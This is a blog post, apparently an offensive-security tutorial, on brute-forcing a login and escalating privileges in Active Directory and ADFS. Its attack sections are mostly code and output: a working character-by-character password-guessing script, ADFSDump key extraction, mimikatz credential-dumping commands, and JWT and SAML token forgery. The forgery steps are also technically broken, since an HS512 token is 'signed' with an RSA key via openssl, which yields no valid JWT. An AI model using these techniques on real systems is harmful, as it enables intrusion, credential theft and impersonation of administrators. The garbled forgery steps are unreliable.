Post

Exploiting Weak Authentication and Privilege Escalation in Active Directory Environments

By 0xLuc4s
9 min read

Brute-Forcing Credentials and Exploiting Weak Authentication

Weak authentication mechanisms can be exploited by attackers to gain unauthorized access through brute-force techniques. This approach involves testing multiple password combinations until the correct one is found. In many systems, especially those without account lockout policies or rate limiting, brute-force attacks can be automated to efficiently guess credentials.

Using a Python script like the one below, the attacker can automate the process of guessing passwords character by character:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import string
import requests
from pwn import *

url = 'http://targetsite.com/login'
bar = log.progress("Bruteforcing password")

headers = {
    'Host': 'targetsite.com',
    'Connection': 'keep-alive'
}

password = ""
while True:
    for char in string.ascii_lowercase + string.digits:
        bar.status(f"trying {char} now for the next character...")
        files = {
            'username': (None, 'target_user'),
            'password': (None, f'{password}{char}*'),
        }
        res = requests.post(url, headers=headers, files=files)
        if res.status_code == 303:  # Status code indicating a correct guess
            password += char
            print(f"The current password is {password} + *")
            break
    else:
        break

bar.success(f"The final password is {password}")

In this scenario, the attacker utilizes the status code 303 to determine when part of the password is correct. Each character is appended to the guessed password string, and the process repeats until the full password is found. By leveraging such brute-force techniques, attackers can easily bypass weak authentication mechanisms, especially in environments that lack defenses such as:

  • Rate Limiting : To limit the number of login attempts within a given time frame.

  • Account Lockout : To prevent multiple failed login attempts.

  • Multi-Factor Authentication (MFA) : To add an extra layer of security beyond just a password.

In many cases, the absence of these protections makes the system vulnerable to brute-force attacks, allowing the attacker to methodically guess the correct password and gain unauthorized access.

Exploiting Active Directory to Extract Sensitive Data

After gaining initial access to a system, attackers often shift their focus to Active Directory (AD), which is the backbone of identity and access management in many enterprise environments. Active Directory stores valuable information, including user credentials, encryption keys, authentication tokens, and detailed metadata about the network and its users. This makes it a primary target for exploitation, as compromising AD can lead to privilege escalation and lateral movement within the network.

Extracting Private Keys and Certificates

One common attack vector is to extract private keys or certificates used by services like Active Directory Federation Services (ADFS). These keys are often used for authentication, signing, and encryption, making them highly valuable for an attacker. With access to such keys, the attacker can impersonate users, forge authentication tokens, or decrypt sensitive data.

An example of a tool used to extract private keys from an AD environment is shown below:

1
2
3
4
5
6
7
8
9
10
11
12

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec

## Extracting Private Key from Active Directory Store
[-] Domain is target.local
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B...

The ADFSDump.exe tool is used to extract private keys from the Active Directory store. These keys are often used to sign authentication tokens (like SAML tokens), meaning that an attacker can now forge their own tokens and impersonate any user in the network, potentially including high-privilege accounts.

Accessing Encrypted Signing Keys

In addition to private keys, attackers may also seek to extract encrypted token signing keys from the database. These keys are responsible for signing authentication tokens that verify the identity and permissions of users.

Here’s an example of extracting an encrypted signing key:

1
2
3
4

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYL...
[-] Encrypted Token Signing Key End

With access to these signing keys, attackers can create their own tokens with elevated privileges. By crafting a token with roles such as “Domain Admin” or “Enterprise Admin,” they can effectively control the entire Active Directory environment.

Gaining Access to Relying Party Trusts

In environments using ADFS (Active Directory Federation Services), the attacker can also manipulate or exploit “Relying Party Trusts,” which define which external services or applications can use AD for authentication. By compromising these trusts, attackers can grant themselves access to sensitive applications or cloud services using forged tokens.

An example of Relying Party Trust information:

1
2
3
4
5
6
7
8

## Reading Relying Party Trust Information from Database
[-] Detected AD FS 2019
core.targetdomain.local
==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.targetdomain.local:8443/adfs/saml/postResponse
    Signature Algorithm: rsa-sha256

By manipulating this information, attackers can make arbitrary applications or services trust them as valid users, opening doors to further exploitation and data exfiltration.

Privilege Escalation Through Directory Manipulation

After extracting sensitive information such as private keys and signing tokens, attackers can further escalate privileges by manipulating Active Directory itself. This could include:

  • Modifying Security Groups : Attackers can add themselves to privileged groups like “Domain Admins” or “Enterprise Admins.”

  • Changing User Permissions : By altering user permissions, attackers can grant themselves control over other accounts, services, or even the entire domain.

  • Credential Dumping : Tools like mimikatz can be used to extract plaintext passwords or NTLM hashes from memory once the attacker has sufficient privileges. Here’s an example of credential dumping with mimikatz:

1
2
3

SHELL> mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Attack Flow Summary:

  1. Initial Access : The attacker gains access to the network through brute-force, phishing, or other means.

  2. Active Directory Enumeration : Using tools to map out the AD structure, services, and user accounts.

  3. Key Extraction : Tools like ADFSDump.exe are used to extract private keys, certificates, and encrypted signing keys.

  4. Privilege Escalation : With keys in hand, the attacker forges tokens, escalates privileges, and manipulates AD settings to gain control.

  5. Lateral Movement : Once inside, the attacker moves laterally through the network, accessing additional services or compromising further users.

Leveraging Token Forgery for Privilege Escalation**

Once an attacker gains access to sensitive data, such as private keys and token signing certificates from Active Directory, they can begin forging authentication tokens, such as JSON Web Tokens (JWT) or Security Assertion Markup Language (SAML) tokens. This allows them to impersonate legitimate users and escalate privileges within the target environment.

Forging Tokens with Extracted Keys

With the private key or signing certificate extracted from the AD environment, the attacker can generate tokens that appear to be legitimate, but contain elevated permissions. These tokens are typically signed using the cryptographic material stolen from the system, ensuring that they are trusted by the target services.

For example, once a key has been extracted, the attacker can craft a JWT token with administrator privileges:

1
2
3
4
5
6
7
8
9

{
  "alg": "HS512",
  "typ": "JWT"
}
{
  "sub": "admin",
  "role": "Administrator",
  "exp": 1719792000
}

Using the previously stolen private key, the attacker can sign the token:

1

openssl dgst -sha512 -sign private_key.pem token_payload.json > signed_token.jwt

This signed token can then be presented to the target system to gain administrator-level access. The system will trust the token because it is signed with a valid key, even though the attacker created it.

Impersonating High-Privilege Users

By forging tokens, the attacker can impersonate high-privilege users such as domain administrators, enterprise administrators, or service accounts. This allows them to gain unrestricted access to critical systems, data, and services. For example, in an environment using SAML-based authentication, the attacker could generate a SAML token with elevated roles:

1
2
3
4
5
6
7
8
9
10

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>admin@target.local</saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="role">
      <saml:AttributeValue>Administrator</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
</saml:Assertion>

With this forged SAML token, the attacker could authenticate as an administrator to any system relying on the compromised ADFS (Active Directory Federation Services) environment.

Exploiting Trust Relationships

In many enterprise environments, different systems and services rely on each other for authentication. This often creates a trust relationship, where tokens generated by one service are accepted by another. For example, an attacker who compromises the token signing infrastructure of a Single Sign-On (SSO) service can access all downstream applications that trust this service for authentication.

By forging tokens, the attacker can:

  1. Bypass Authentication : Present forged tokens to bypass traditional login mechanisms and gain access to sensitive applications.

  2. Elevate Permissions : Craft tokens with elevated roles or permissions, giving them administrator or root-level access across services.

  3. Move Laterally : Use the compromised token to access multiple systems, moving laterally within the network to identify new targets.

Practical Example of Forging Tokens

Let’s assume an attacker has extracted the private key from an ADFS environment. They can now use this key to generate a token that impersonates a user with administrator privileges. Using tools such as jwt.io, the attacker can craft a JWT with the following payload:

1
2
3
4
5
6
7

{
  "sub": "administrator@target.local",
  "roles": ["Admin", "SuperUser"],
  "iss": "http://api.target.local",
  "aud": "http://admin.target.local",
  "exp": 1719792000
}

After signing the token with the stolen private key, the attacker injects this token into the HTTP requests sent to the target application. If the token is accepted, the attacker can access administrative functions within the application.

Conclusion

Token forgery is a powerful technique for privilege escalation. By using stolen signing keys or certificates, attackers can generate tokens that grant them high levels of access across multiple systems. This method highlights the importance of securing cryptographic materials and minimizing trust relationships within an environment to limit the potential impact of such attacks.

active-directory, privilege-escalation, authentication
ssrf active-directory privilege-escalation authentication
This post is licensed under CC BY 4.0 by the author.